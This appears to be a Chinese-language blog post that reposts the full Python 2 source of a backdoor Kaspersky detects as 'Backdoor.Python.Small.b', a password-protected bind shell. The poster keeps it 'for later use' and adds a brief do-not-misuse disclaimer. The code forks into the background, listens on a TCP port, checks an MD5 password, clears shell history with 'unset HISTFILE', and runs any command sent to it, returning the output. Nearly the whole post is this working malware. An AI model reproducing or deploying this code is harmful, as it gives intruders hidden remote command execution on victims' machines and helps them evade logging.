一段被Kaspersky報毒的Python代碼

看到一段被Kaspersky報病毒"Backdoor.Python.Small.b"的Python代碼，留著以後使用，同時分享給大家研究。請勿用於非法用途！！

裸代碼RawCode

Python语言: Codee#25460

01 #!/usr/bin/env python
02
03     #!/usr/bin/env python
04     #####################
05     #-----------------------------------------------+
06     #                      ._____________________.  |
07     #   Coded by slav0nic  | slav0nic0@gmail.com |  |  
08     #                      ^---------------------^  |
09     # Site: slav0nic.xss.ru                         |
10     #-----------------------------------------------+
11     #version 1.2.1
12     #
13     #Use: python wh_bindshell.py [port] [password] | python wh_bindshell.py - for use
14     #                                               default_settings
15     #for make password:
16     #   python -c"import md5; print md5.new('you_password').hexdigest()"
17     #
18     #bugz: ctrl+c etc =script stoped=\ (after reconnect it work)
19
20     from socket import *
21     import os
22     import sys
23     import md5
24     import popen2
25
26     #############_Default_#####################
27     Port=50001                                #_default port
28     Pass ='427003594444ed93c9fe9b0b420264e4'  #_default password ='slav0nic'
29     simvol='$ '                               #_prompt
30     autocommands="unset HISTFILE;uname -a;id" #autostart=)
31     kill_bsh='kbsh'                           #command for kill bindshell
32     ##########################################
33     if len(sys.argv)>1:
34         Port=int(sys.argv[1])
35         print '[+]Port=',sys.argv[1]
36         if len(sys.argv)>2:
37             Pass=str(md5.new(sys.argv[2]).hexdigest())
38             print '[+]New_pass'
39
40     try:
41         sockobj=socket(AF_INET,SOCK_STREAM)
42         sockobj.bind(('',Port))
43         sockobj.listen(5)
44     except:
45         print '[-]SocketError',sys.exc_value
46         sys.exit(1)
47
48     if os.fork()==0: #for start bindshell as proc and exit
49         while 1:
50             connection,address=sockobj.accept()
51             data=connection.recv(1024)
52             getpass=md5.new(data[:-2])
53             bsh_pid=os.getpid()
54             if getpass.hexdigest()==Pass:
55                 if os.fork()==0:  
56                     info=os.popen(autocommands).read()
57                     connection.send(info)
58                     while 1:
59                         data=connection.recv(1024)
60                         if not data:break
61                         if data[:-2]==kill_bsh:
62                             os.popen('kill '+str(bsh_pid))
63                             sys.exit(0)
64                         cmd_res,stdin,stderror=popen2.popen3(data[:-2])
65                         result= cmd_res.read()
66                         error=stderror.read()
67                         if error:
68                             connection.send(error)     
69                           
70                         for i in range(len(data.split())-1):
71                             if 'cd' in data.split()[i]:
72                                 try:                          
73                                     os.chdir(data.split()[i+1].split(';')[0])
74                                 except:
75                                     error='[-]Error '+str(sys.exc_value)+'\n'
76                                     connection.send(error)
77         ###Prompt
78                         username=os.popen("whoami").read()
79                         adr=os.popen("uname -n").read()
80                         if username[:-1]=='root':
81                                 simvol='# '
82                         path=os.getcwd()
83                         promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
84         ###                 
85                         answer=result+promt
86                         connection.send(answer)
87             else:
88                    connection.close()           
89     sys.exit(0)